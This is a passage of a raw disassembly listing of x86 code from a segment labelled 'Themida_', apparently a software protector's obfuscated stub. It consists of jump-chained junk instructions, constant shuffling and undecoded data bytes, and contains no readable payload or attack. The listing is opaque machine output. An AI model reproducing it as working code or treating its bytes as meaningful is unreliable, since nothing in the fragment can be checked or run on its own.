0FFDE8CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CD11: ; CODE XREF: Themida_:00554187j xor ebp, 0FE9AD0D4h sub esi, ebp pop ebp sub ecx, esi jmp loc_55DB3A ; --------------------------------------------------------------------------- loc_55CD21: ; CODE XREF: Themida_:00552D5Dj mov edx, 97C36DADh add ebp, edx pop edx sub eax, ebp pop ebp jmp loc_550896 ; --------------------------------------------------------------------------- db 89h, 0D3h, 5Ah dd 5507EBC1h, 0FF66CDE9h, 0EDF781FFh, 0E94BE7A4h, 2310h ; --------------------------------------------------------------------------- loc_55CD48: ; CODE XREF: Themida_:0055C28Aj mov [esp], edi mov edi, 20830940h jmp loc_55E5E7 ; --------------------------------------------------------------------------- loc_55CD55: ; CODE XREF: Themida_:00558F5Bj mov [esp], eax push 1BDC11CCh pop eax and ebp, eax jmp loc_560D42 ; --------------------------------------------------------------------------- loc_55CD65: ; CODE XREF: Themida_:00564554j pop esp mov [esp], eax push edx jmp loc_5544CF ; --------------------------------------------------------------------------- loc_55CD6F: ; CODE XREF: Themida_:0055FBB0j pop esi jmp loc_5548C1 ; --------------------------------------------------------------------------- db 51h, 0B9h, 70h dd 816DFE70h, 141C97E9h, 4EC81F3h, 89000000h, 0D2E9240Ch dd 29000074h, 2434FFFBh, 4C4835Fh, 0FFDFD0E9h, 0EE8852FFh dd 9B1E9h db 0 ; --------------------------------------------------------------------------- loc_55CDA5: ; CODE XREF: Themida_:00563E55j push esi mov esi, 612D705Dh jmp loc_55D1BC ; --------------------------------------------------------------------------- loc_55CDB0: ; CODE XREF: Themida_:0055046Cj mov edi, 20863502h push edi not dword ptr [esp] pop edi dec edi add edi, 84944B6Bh sub eax, edi pop edi jmp loc_55D7E3 ; --------------------------------------------------------------------------- db 0B4h, 5Dh, 28h dd 0E95866E7h, 0FFFF6AABh, 8108E9C1h, 815DE9C1h, 0C1D9F729h dd 0F18106E1h, 7E467784h, 0FF97BAE9h, 62A5BDFFh, 2EE95EDDh dd 29FFFF47h, 54E958C5h, 8300002Ah, 386804C4h, 8900005Eh dd 0EBB5240Ch, 0DAB45066h, 0FF4D6BE9h, 0AEE95AFFh, 29000044h dd 7A4EE9EEh, 0EA81FFFFh, 4E1741BFh, 8124048Bh, 4C4h, 5AD78900h dd 0FFDB46E9h, 0FCB850FFh, 2900C02Ch, 24048BC2h, 5304C483h dd 0A06949BBh, 56DEE911h, 0BD55FFFFh, 5BCC02ABh, 56F3ED81h dd 5BE90955h, 2CFFFFD2h, 4BE568C5h, 97E90000h db 69h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CE6F: ; CODE XREF: Themida_:00557B6Bj push ebp mov ebp, esp jmp loc_564567 ; --------------------------------------------------------------------------- db 5Ch dd 0FF52F5E9h db 0FFh byte_55CE7D db 68h, 47h, 39h ; DATA XREF: Themida_:0054FEBCo dd 0CE90005h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CE87: ; CODE XREF: Themida_:00554121j xor eax, 2E04510Eh jmp loc_5610D3 ; --------------------------------------------------------------------------- db 89h, 0F8h, 5Fh dd 0FF61B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CE99: ; CODE XREF: Themida_:00553DDBj add eax, 1 and eax, 6A257B67h push edi mov edi, 4F703442h xor eax, edi jmp loc_5609B5 ; --------------------------------------------------------------------------- aSrXsI db 'SR²•é)i',0 db 0 ; --------------------------------------------------------------------------- loc_55CEB9: ; CODE XREF: Themida_:00553E29j mov [esp], ebx push 0EEE5DA7h pop ebx push eax sub esp, 4 mov [esp], edx push 39741CFCh jmp loc_551104 ; --------------------------------------------------------------------------- loc_55CED6: ; CODE XREF: Themida_:00553F75j push edi push 117Ah mov [esp], esp add dword ptr [esp], 4 jmp loc_564514 ; --------------------------------------------------------------------------- byte_55CEEB db 0ACh ; DATA XREF: Themida_:0054FFC0o dd 0FFFF72E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CEF1: ; CODE XREF: Themida_:0055E078j cmp eax, edx jz loc_55686C sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_556BCB ; --------------------------------------------------------------------------- dw 0C781h dd 65280158h, 0FF4DA9E9h, 82E95EFFh db 34h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CF17: ; CODE XREF: Themida_:00550D95j dec ebp add ebp, 710785h sub ebx, ebp pop ebp mov ecx, [esp] add esp, 4 sub ebx, eax sub esp, 4 jmp loc_55B361 ; --------------------------------------------------------------------------- dd 141468h, 2122E900h, 52530000h, 8647B0BAh, 0A5BFBB70h dd 0D3297865h, 0CCC3815Ah, 95AEE01h, 7DE5E9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CF5A: ; CODE XREF: Themida_:00564F6Fj push esi jmp loc_56286C ; --------------------------------------------------------------------------- loc_55CF60: ; CODE XREF: Themida_:00562217j add ecx, 0AE863141h add ebx, ecx pop ecx mov esi, ebx jmp loc_550D9A ; --------------------------------------------------------------------------- dd 0F580B1B5h, 0A411E9AAh, 815DFFFFh, 5FDC70C1h, 59CF0184h dd 0FF875FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CF89: ; CODE XREF: Themida_:005577A7j mov ebx, 10EE7E63h mov edi, ebx jmp loc_55F94E ; --------------------------------------------------------------------------- db 58h, 81h, 0C4h dd 4, 26606851h, 24890000h, 1FD3E924h, 0E9500000h, 0FFFF357Eh dd 4EC81h, 1C890000h, 0B4BA5224h, 507CB52Bh, 0FF46BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CFC5: ; CODE XREF: Themida_:00565508j sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_551C9C ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4C38300h, 0E9241C87h, 701Dh, 33CABA52h, 0C3E93502h dd 5F000048h, 4EC8353h, 0E9242C89h, 0FFFFC160h, 0B9240C89h dd 4, 0C8BCF01h, 4C48124h, 87000000h, 248B243Ch, 56C80F24h dd 7879E9h, 40500h, 0E5E90000h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D02B: ; CODE XREF: Themida_:0055AF66j add dword ptr [esp], 4 pop edx push esi mov esi, 4 add edx, esi pop esi sub esp, 4 mov [esp], ebx mov ebx, 55F07F42h shl ebx, 2 inc ebx shl ebx, 2 add ebx, 56584220h push edi mov edi, 5CDB4DFAh or edi, 6ADC4643h xchg eax, edi not eax jmp loc_564780 ; --------------------------------------------------------------------------- dd 48B55150h, 243BB050h, 0C0FE2408h, 0B43405E8h, 40E5E9h dd 24043300h, 33240431h, 248B2404h, 67A7E924h, 87580000h dd 505C241Ch, 405E089h, 68000000h, 4D5Eh, 0FF8564E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D0A5: ; CODE XREF: Themida_:0055D209j push eax push edx jmp loc_552012 ; --------------------------------------------------------------------------- dd 0F787FE29h, 6ACF815Eh, 81480678h, 0CFAD91EFh, 5FFE2902h dd 555EF129h, 0EB89CD89h, 0C281595Dh, 365F0176h, 0EA81DA01h dd 365F0176h, 0E9241C8Bh, 5BDCh, 0E924248Bh, 69ECh, 4C481h dd 0EFD10000h, 0B850DFF7h, 0D1A665F8h, 8958C729h, 0C9E95FF8h dd 8B000003h, 0C4832414h, 0A4EC8004h, 2E9BE9h, 243C8B00h dd 52E38953h, 479DB951h, 67BA3154h, 1CEABB8h, 0F1F7E9CAh dd 9D68FFFFh, 8900000Eh, 0BF572414h, 54E147F7h, 1465F781h dd 0F78166B5h, 17B741Dh, 0FF3729E9h, 0AED80FFh, 0C580E528h dd 0B1D4E90Ah, 0E951FFFFh, 2F9Dh ; --------------------------------------------------------------------------- loc_55D15C: ; CODE XREF: Themida_:0055C597j push 7B122B1Eh pop edi push esi mov esi, 3BE053EAh jmp loc_564811 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h aWichao db 'W‰çh o',0 align 4 dd offset byte_567EE9 dd 4EC8300h, 0B9240C89h, 207F0D45h, 8159CB89h, 3928D2C3h dd 5BDF0903h, 0FF4539E9h, 0EA815FFFh, 4, 5C241487h, 0B8240489h dd 5A6311Fh, 8158C601h, 53292AF6h, 0E9F0293Ah, 0FFFF99B6h ; --------------------------------------------------------------------------- loc_55D1BC: ; CODE XREF: Themida_:0055CDABj xor esi, 5FB424Ah sub esi, 64D63213h sub ecx, esi jmp loc_55244F ; --------------------------------------------------------------------------- db 50h dd 9D240DB8h, 1AD0BF77h, 0C7312B34h, 8324048Bh, 0EFC104C4h dd 0F0F78107h, 8122D416h, 0A85344C7h, 0EB82E914h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D1F6: ; CODE XREF: Themida_:00562F04j sub ecx, ebp add ecx, 4CD122E3h mov ebp, [esp] jmp loc_5651DA ; --------------------------------------------------------------------------- loc_55D206: ; CODE XREF: Themida_:00557E67j mov [esp], ecx jmp loc_55D0A5 ; --------------------------------------------------------------------------- dw 8D04h dd 0FF9206E9h, 0DAC181FFh, 0D1062C71h, 66E941E9h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D223: ; CODE XREF: Themida_:00558CACj pop esp sub ebp, 24B871F2h sub ebp, 75E96C45h jmp loc_56317A ; --------------------------------------------------------------------------- db 56h, 0BEh, 0DAh dd 461DC42Fh, 8106E6C1h, 6E816AC6h, 5EF189FAh, 56D9E9h dd 0BB535A00h, 8E50416h, 0FFA988E9h, 24248BFFh, 2AE2E9h dd 7EFC000h, 0FF66CEE9h, 0FAEF80FFh, 30AFF780h, 0C5FE5BFDh dd 4B2C68h, 24148900h, 0C68015B6h, 4E6C01Ah, 8003EEC0h dd 0CE8033F6h, 5F21E901h, 0D5F70000h, 0FFF5EBE9h, 2C481FFh dd 55000000h, 5E2EBD66h, 91C58166h, 31E9E960h db 2 dup(0FFh) word_55D2AE dw 34FFh ; DATA XREF: Themida_:0054FF00o dd 2434FF24h, 592434FFh, 0FF58EFE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D2BD: ; CODE XREF: Themida_:0056436Cj add eax, edi jmp loc_562E30 ; --------------------------------------------------------------------------- aBY1vs db 'Ǻy1véÜ)',0 db 0 ; --------------------------------------------------------------------------- loc_55D2CF: ; CODE XREF: Themida_:0055C19Ej xor ebp, 0BC22F745h jmp loc_551869 ; --------------------------------------------------------------------------- loc_55D2DA: ; CODE XREF: Themida_:0056481Fj add ebx, 5A0629A1h push edx push esi push 66BC4C90h mov esi, [esp] add esp, 4 add esi, 3FE31BEAh not esi sub esi, 1C9B79BAh xor esi, 3F700C36h jmp loc_561C0E ; --------------------------------------------------------------------------- db 53h, 89h, 0E3h dd 4C381h, 0BD550000h, 4, 54FDEB81h, 0EB012668h, 54FDC381h dd 0EBE92668h db 0A9h, 2 dup(0FFh) byte_55D32B db 8Fh ; DATA XREF: Themida_:00550034o dd 64E94047h, 89FFFF2Dh, 53E92434h, 1FFFFE2h, 0C875FF9h dd 24248B24h, 9C242CD3h, 0FF765EE9h, 58C730FFh, 305BFC88h dd 4CF5E9E5h, 3C290000h, 1BE95F24h, 80000042h, 5166E6ECh dd 0C5803AB5h, 66EC008Fh, 58E22059h, 2803EA80h, 1F045AD0h dd 0B353F828h, 5E3C096h, 0E930F380h, 0FFFFBE30h, 24048F54h dd 4240481h, 8B000000h, 89512434h, 4C181E1h, 0E9000000h dd 513Ah, 8956E289h, 4C681E6h, 0E9000000h, 78DCh, 291FCD81h dd 0B95125D8h, 53B03704h, 47C4E981h, 0C1836034h, 56D1F7FFh dd 0FF9768E9h, 6DC281FFh, 5B7F6A54h, 4245401h, 2CB1E95Ah dd 814AFFFFh, 0E52BBEEAh, 0BFED816Dh, 0E904F13Bh, 0FFFF3682h dd 5F2414F7h, 0FF5A62E9h, 241C8BFFh, 4C481h, 51660000h dd 0FFA4CAE9h, 0FFEA83FFh, 740BE9h db 0 ; --------------------------------------------------------------------------- loc_55D419: ; CODE XREF: Themida_:0055970Bj sub esp, 4 jmp loc_558110 ; --------------------------------------------------------------------------- db 40h, 52h, 0E9h dd 56F4h ; --------------------------------------------------------------------------- loc_55D428: ; CODE XREF: Themida_:0055E0DCj mov edx, ebp pop ebp add edx, ebp pop ebp and ebx, edx mov edx, [esp] add esp, 4 jmp loc_557B15 ; --------------------------------------------------------------------------- db 5Dh dd 5B5EF089h, 3753C581h, 0C5815571h, 1A016B01h, 0ED81C501h dd 1A016B01h, 3753ED81h, 83585571h, 2C8704C5h, 24248B24h dd 4C581h, 0BA520000h, 2, 0E95AD501h, 0FFFFC86Ah, 0F00B951h dd 0E9814904h, 3E134318h, 1827F181h, 0C1813110h, 0E38B80BAh dd 8149D9F7h, 32D15AF1h, 8BC8019Fh, 0C481240Ch, 4, 1C5AE9h dd 0CE95800h, 0B6FFFF65h, 66F52012h, 8124148Bh, 2C4h, 0E9535200h dd 0FFFF485Dh ; --------------------------------------------------------------------------- loc_55D4C4: ; CODE XREF: Themida_:005514B0j shl ebp, 5 jmp loc_55FAC1 ; --------------------------------------------------------------------------- dd 2349E981h, 0C181214Bh, 246C6B2Fh, 0E981C101h, 246C6B2Fh dd 2349C181h, 34FF214Bh, 89515824h, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 0B125E95Ch, 148BFFFFh, 4C48124h, 4000000h dd 51D8281Ch, 89E912B5h, 5200001Bh, 0E6809EB6h, 1C6805Ah dd 0F680C6FEh, 5AF58821h, 1C8BFD28h, 4C48124h, 80000000h dd 0CD8037E5h, 57F5802Ah, 0E908E5C0h, 31C2h ; --------------------------------------------------------------------------- loc_55D544: ; CODE XREF: Themida_:0055E7A1j push edx jmp loc_55DC28 ; --------------------------------------------------------------------------- loc_55D54A: ; CODE XREF: Themida_:005539E0j push 5986h mov [esp], ecx jmp loc_5531C7 ; --------------------------------------------------------------------------- db 81h dd 0CF3306E3h, 342EE960h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D562: ; CODE XREF: Themida_:00551DCBj pop eax xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] shr ecx, 2 push 47EDh mov [esp], esi push ebx jmp loc_55A3B9 ; --------------------------------------------------------------------------- dd 8B240C33h, 81E92424h, 45FFFFE5h, 3DF4ED81h, 0E929D00Ch dd 5D2434FFh, 5B04C483h, 286AE9h, 241C8700h, 241C895Ch dd 52BCB551h, 8851EA88h, 74ABE9D5h, 0F580FFFFh, 80DDF65Ah dd 0E80088C5h, 6CB25259h, 0C003E2C0h, 0EAC006EAh, 0F1C28004h dd 2DB068h, 240C8900h, 506601B1h, 0C280F7B4h, 80E2282Ch dd 58662CEAh, 4D35E9h, 0C895C00h, 4A456824h, 7DE96D72h db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D5FB: ; CODE XREF: Themida_:00557DFBj add eax, 0F4434C2h pop esi sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx jmp loc_5535C9 ; --------------------------------------------------------------------------- loc_55D610: ; CODE XREF: Themida_:0055C32Bj push 49C44EEEh pop eax xor eax, 49C44EEAh jmp loc_560466 ; --------------------------------------------------------------------------- dd 0F00C781h, 0D7F70416h, 0AB4AF781h, 0FA319E57h, 0FF2DC7E9h dd 24248BFFh, 4EC8156h, 54000000h, 8124048Fh, 42404h, 815E0000h dd 4C6h, 40486800h, 2C890000h, 9D23E924h, 6852FFFFh, 27A6D70h dd 6CE9425Ah, 59000056h, 0FFFAB9E9h db 0FFh byte_55D671 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054FFC4o dd 3254E9h, 3E95300h, 2900006Dh, 0EDEBE9C2h, 0C780FFFFh dd 0CCE78006h, 166E9h db 0 ; --------------------------------------------------------------------------- loc_55D691: ; CODE XREF: Themida_:00556635j push edx push 6C057814h pop edx xor edx, 0DC6228Dh sub edx, 61C35A95h mov ecx, edx pop edx jmp loc_55FD6A ; --------------------------------------------------------------------------- loc_55D6AC: ; CODE XREF: Themida_:0055E7EFj push dword ptr [esp] pop edx add esp, 4 jmp loc_55C7D4 ; --------------------------------------------------------------------------- loc_55D6BB: ; CODE XREF: Themida_:0055E9E0j mov ebx, [esp] add esp, 4 push 0F99h mov [esp], edi jmp loc_5631A9 ; --------------------------------------------------------------------------- aQsO db 'Qé}o',0 db 0 ; --------------------------------------------------------------------------- loc_55D6D7: ; CODE XREF: Themida_:00557485j push 2E33h mov [esp], ebp push eax mov eax, 592E4080h dec eax shl eax, 7 jmp loc_5549FD ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 0EE830000h, 24348704h, 0FFE453E9h, 805866FFh dd 0EB0008C3h, 5908EB80h, 8047B450h, 0C480BCECh, 0D6E480E1h dd 280AF480h, 0E838E9E3h, 0EC83FFFFh, 24348904h, 0B951E689h dd 2BD60BA7h, 0BA3E981h, 0CE012BD6h, 4B85059h, 1000000h dd 0D7E958C6h db 0B2h, 2 dup(0FFh) byte_55D747 db 0ADh ; DATA XREF: Themida_:0054FEA4o dd 67E9D831h, 9FFFF36h, 0BD48E9C2h, 0F088FFFFh, 0FFBDC2E9h dd 85C181FFh, 8B550675h, 0C4832414h, 4EC8304h, 0BF243C89h dd 2, 0FFFBC2E9h, 5BDD28FFh, 0E954CD80h, 0FFFF3DCFh, 4BA52h dd 0C7810000h, 26BC3FBCh, 0EF81D701h, 26BC3FBCh, 4C7835Ah dd 0E9243C87h, 483Fh, 4BBA5259h, 4A6D4413h, 0C281D2F7h dd 0B007290Ah, 25CBC181h, 0D12930F1h, 25CBE981h, 5F5A30F1h dd 0C5E9C821h, 8B000026h, 0C4832414h, 0C7A50504h, 0ED818FBBh dd 43BF7E86h, 85E9C529h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D7E3: ; CODE XREF: Themida_:0055CDC4j push ebp push 208A1467h mov ebp, [esp] add esp, 4 jmp loc_55153B ; --------------------------------------------------------------------------- db 80h dd 0C780A9E7h, 0FDB151B2h, 0FF5F9AE9h, 545158FFh, 4C18159h dd 81000000h, 4C1h, 74B8E900h db 2 dup(0FFh) word_55D81A dw 8B66h ; DATA XREF: Themida_:0054FE00o dd 0EC81240Ch, 4, 89240C89h, 7DE953E1h db 2Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D82F: ; CODE XREF: Themida_:00563580j pop edi add ebx, edx sub esp, 4 mov [esp], edx mov edx, 14265263h dec edx shl edx, 8 jmp loc_558E3A ; --------------------------------------------------------------------------- loc_55D846: ; CODE XREF: Themida_:00553C23j sub ecx, 35D169DDh jmp loc_560DE0 ; --------------------------------------------------------------------------- db 5Eh, 5Ah, 0E9h dd 0FFFFCCC8h, 68E38953h, 0D8Eh, 0B9240C89h, 3E4844CAh dd 0F181D9F7h, 706F4EE6h, 0F5D4F181h, 0CB01B1D8h, 42BBE9h dd 44C78100h, 12B7B2Ch, 243C8BFBh, 5704C483h, 0CE62D3BFh dd 0AC1FE939h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D896: ; CODE XREF: Themida_:00554DA0j add edx, esi add edx, 32541772h pop esi add edx, eax sub edx, 43A536FCh sub esp, 4 mov [esp], ebx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_55131C ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 0EF010000h, 4C7815Dh, 0E9000000h, 0FFFF864Ah, 0C7815F5Fh dd 4, 0FF464DE9h, 6E1C1FFh, 2B87E941h, 0EC81FFFFh, 4, 0E9243489h dd 0FFFFBF3Bh, 0BD55E089h, 4, 835DE801h, 48704E8h, 7BADE924h dd 0C729FFFFh, 582434FFh, 8104C483h, 0AE1260EEh, 0E9FE0175h dd 0FFFFA68Bh ; --------------------------------------------------------------------------- loc_55D924: ; CODE XREF: Themida_:0055E4C3j mov [esp], ebx push 1C3Eh mov [esp], ebp jmp loc_5525FF ; --------------------------------------------------------------------------- loc_55D934: ; CODE XREF: Themida_:0055C725j mov ebp, 4 add eax, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_553E85 ; --------------------------------------------------------------------------- loc_55D94A: ; CODE XREF: Themida_:00551B7Bj push 5896h mov [esp], eax mov ah, 0D9h jmp loc_564C4A ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 1C8DBE56h, 0BA52619Dh, 521F52E5h, 15AD301h, 3D3BE9F3h dd 0F831FFFFh, 0E956C731h, 6AFEh, 348BF589h, 0E6895624h dd 4C681h, 0C6810000h, 4, 5C243487h, 5ACBC381h, 0EB015693h dd 5ACBEB81h, 815D5693h, 0E5282DC1h, 55D9016Bh, 197EBB53h dd 5D536A56h, 0AAB8505Bh, 5138B63h, 300707F6h, 0DB25D8F7h dd 53315925h, 0BBh, 89C32900h, 41055BD8h, 29304904h, 6858C5h dd 29000000h, 2C8B242Ch, 4C48324h, 2FDFC581h, 0E5C10E15h dd 0FB95E904h, 0FD89FFFFh, 82E9E889h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D9FF: ; CODE XREF: Themida_:0055E2FBj shr edi, 2 jmp loc_55746A ; --------------------------------------------------------------------------- loc_55DA07: ; CODE XREF: Themida_:00555CB6j push esp push dword ptr [esp] mov ebp, [esp] push ebx jmp loc_55AC43 ; --------------------------------------------------------------------------- dd 4C481h, 89560000h, 191568E6h, 0E9E90000h, 0B8FFFF50h dd 1, 24E9C529h db 56h, 2 dup(0FFh) byte_55DA33 db 0FFh ; DATA XREF: Themida_:0054FFD8o dd 34FF3877h, 240C8B24h, 51E28952h, 4B9h, 59CA0100h, 4C281h dd 14870000h, 8EE95C24h, 81FFFFCBh, 73B12C5h, 0C6815803h dd 69E93249h, 0FF3403E9h, 0E48635FFh, 0C7814E0Bh, 7AD306BBh dd 0BB53C701h, 75BE30ACh, 3617F381h, 0DF290F6Dh, 3C87585Bh dd 24248B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_557AD5 ; --------------------------------------------------------------------------- dd 592434FFh, 6D8968h, 24148900h, 24148B54h, 0E904C483h dd 78C5h, 0E9515BB0h, 0FFFF4E82h, 7023E959h, 0DAF7FFFFh dd 0EAC1D2F7h, 45F28107h, 0E94BBFEDh, 0FFFFDC52h, 582434FFh dd 0FF6D54E9h, 0FCE381FFh, 81412F1Dh, 0B42C15EBh, 0DBF74309h dd 0FF7DCBE9h, 0ACEF80FFh, 0D8E95704h, 0B4000035h, 3088B51Bh dd 81E958E5h db 3Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DAFF: ; CODE XREF: Themida_:00562706j add esp, 4 jmp loc_558977 ; --------------------------------------------------------------------------- dw 60B5h dd 19EBE9h, 4EF8300h, 4B3BE9h db 0 ; --------------------------------------------------------------------------- loc_55DB19: ; CODE XREF: Themida_:00563408j mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_562946 ; --------------------------------------------------------------------------- loc_55DB30: ; CODE XREF: Themida_:00550CD6j push dword ptr [esp+4] pop esi jmp loc_560752 ; --------------------------------------------------------------------------- loc_55DB3A: ; CODE XREF: Themida_:0055CD1Cj pop esi shl ecx, 5 not ecx xor ecx, 7E7873C5h add ecx, 21322D5Eh push eax sub esp, 4 mov [esp], edi mov edi, 1573053Dh mov eax, edi pop edi sub ecx, eax pop eax sub esp, 4 mov [esp], edi mov edi, 1BB620CAh push ebx mov ebx, 2D8C7771h inc ebx dec ebx sub ebx, 0E9106FACh and edi, ebx pop ebx dec edi xchg ebx, edi jmp loc_562E9E ; --------------------------------------------------------------------------- aPh5 db 'Ph¹5',0 dw 8900h dd 4832424h, 0E9580424h, 1627h, 1F98B850h, 0C501BCECh dd 0E9EB8958h, 577Dh ; --------------------------------------------------------------------------- loc_55DBA8: ; CODE XREF: Themida_:00556E87j xor [esp], ebx xor ebx, [esp] mov esp, [esp] push dword ptr [edi+eax*4] push edi mov edi, 78712A77h sub [esp+4], edi jmp loc_554370 ; --------------------------------------------------------------------------- loc_55DBC3: ; CODE XREF: Themida_:005548B4j mov eax, ebp pop ebp jmp loc_552061 ; --------------------------------------------------------------------------- db 50h dd 0ED56C9B8h, 16E94042h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DBD7: ; CODE XREF: Themida_:00561084j push esi mov esi, 7BA415FCh jmp loc_550D92 ; --------------------------------------------------------------------------- dw 3C33h dd 0CA815C24h, 5091270Ah, 7893EA81h, 0EA815E2Ah, 317F04BEh dd 25C368h, 6962E900h, 0EB83FFFFh, 241C8704h, 0C53EE95Ch dd 0CD80FFFFh, 4E5C0D0h, 806CED80h, 0B4501DE5h, 58E53018h dd 0E959EA88h, 253Fh ; --------------------------------------------------------------------------- loc_55DC28: ; CODE XREF: Themida_:0055D545j mov edx, 4 jmp loc_5528DB ; --------------------------------------------------------------------------- dw 0E589h dd 0FF24F5E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DC39: ; CODE XREF: Themida_:00552AE2j add esi, eax pop eax jmp loc_55EBB1 ; --------------------------------------------------------------------------- db 33h, 1Ch, 24h dd 33241C31h, 57E9241Ch db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DC4F: ; CODE XREF: Themida_:0055FEB9j mov esi, [esp] push ebp push esp pop ebp push edx mov edx, 2D0938CEh or edx, 5F0E747Ch push edx dec dword ptr [esp] pop edx dec edx shl edx, 8 not edx jmp loc_55B6FA ; --------------------------------------------------------------------------- db 30h, 0F9h, 0E9h dd 0FFFFDAADh, 50E9D9F7h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DC7F: ; CODE XREF: Themida_:0055EC7Aj pop edi xchg ebp, [esp] pop esp push ebp push esi mov esi, esp jmp loc_555B14 ; --------------------------------------------------------------------------- db 68h, 78h, 1Dh dd 34890000h, 0EDBCE924h, 34FFFFFFh, 0C4815824h, 4, 0E9241C87h dd 0FFFFA9B1h ; --------------------------------------------------------------------------- loc_55DCAC: ; CODE XREF: Themida_:00553F1Dj not dword ptr [esp] push dword ptr [esp] pop eax push eax push esp push dword ptr [esp] pop eax add esp, 4 add eax, 4 push edi sub esp, 4 mov [esp], ebx jmp loc_55B171 ; --------------------------------------------------------------------------- dd 4BFCBD55h, 0EF892E32h, 5FF9295Dh, 5D2434FFh, 0E904C483h dd 0FFFF60F8h ; --------------------------------------------------------------------------- loc_55DCE8: ; CODE XREF: Themida_:0055945Aj mov ecx, 9B252C5h jmp loc_55489C ; --------------------------------------------------------------------------- loc_55DCF2: ; CODE XREF: Themida_:00556014j not edx xchg edx, [esp] mov ebx, [esp] push 6B0Ah mov [esp], ebp push esp pop ebp push edx jmp loc_55CAE1 ; --------------------------------------------------------------------------- aFy db '(ÈfY',0 db 0F8h dd 215D68h, 0EF34E900h, 0BE56FFFFh, 5BF22CFAh, 0FFE038E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DD25: ; CODE XREF: Themida_:00560E96j mov ebp, [esp] add esp, 4 pop edi add edi, 0C56FF8h pop eax sub ebx, 4ECC4EA3h sub ebx, 2C181BF3h sub ebx, edi add ebx, 2C181BF3h add ebx, 4ECC4EA3h pop edi xor ebx, [esp] xor [esp], ebx jmp loc_55977B ; --------------------------------------------------------------------------- loc_55DD5C: ; CODE XREF: Themida_:00564AFAj pop ebp pop ebx push 4A67h mov [esp], ebx jmp loc_55B89F ; --------------------------------------------------------------------------- db 81h dd 105EF5C6h, 4C47E93Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DD76: ; CODE XREF: Themida_:005603F4j mov edx, ebx pop ebx pop ebp sub ecx, edx pop edx jmp loc_5594E4 ; --------------------------------------------------------------------------- loc_55DD82: ; CODE XREF: Themida_:00564E18j push esi push eax jmp loc_5633B6 ; --------------------------------------------------------------------------- loc_55DD89: ; CODE XREF: Themida_:0055F08Dj add ebx, 21221100h shl ebx, 3 add ebx, 66C31690h jmp loc_557180 ; --------------------------------------------------------------------------- db 80h, 0EAh, 0FCh aFpsyt db 'fPéyt',0 db 0 ; --------------------------------------------------------------------------- loc_55DDA7: ; CODE XREF: Themida_:00558590j pop eax jmp loc_564CEB ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4C481h, 5E90000h, 1FFFFBCh, 0B8EF81CFh, 8B45F87Dh, 0C481240Ch dd 4, 6805E7C1h, 0B6Ah, 0B9240C89h, 155D1B21h, 5A65E941h dd 48F0000h, 24248B24h, 9C2424D3h, 0FF22A6E9h, 5E7C1FFh dd 2161BE56h, 0F7014D16h, 0FF99BDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DE01: ; CODE XREF: Themida_:00552EDCj mov esp, [esp] jmp loc_55FE29 ; --------------------------------------------------------------------------- loc_55DE09: ; CODE XREF: Themida_:00565432j add ebp, 4 push ecx mov ecx, 4 jmp loc_559320 ; --------------------------------------------------------------------------- aShe db 'Sh…~',0 align 10h dd 68240C89h, 283Ah, 52241C89h, 70256855h, 0F75D7859h dd 22C581DDh, 89949378h, 5B525DEAh, 774AE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DE46: ; CODE XREF: Themida_:00558E2Cj sub ebx, 671F54E8h and ebx, 172B71E9h inc ebx push edi jmp loc_55B270 ; --------------------------------------------------------------------------- byte_55DE59 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FEC4o aStsT db '$STé»T',0 align 4 dd 515BD801h, 4B9h, 0C6E95500h, 8BFFFF32h, 0BD552424h dd 1A8B0F67h, 0CFE9E801h, 0BB000005h, 592D6E10h, 0FF82ECE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DE8D: ; CODE XREF: Themida_:00559F0Aj add esi, 4 add esi, 4 xchg esi, [esp] pop esp push eax mov ah, bh mov bh, dl mov dl, ah pop eax push dx mov dl, ch mov ch, bh mov bh, dl jmp loc_557C9C 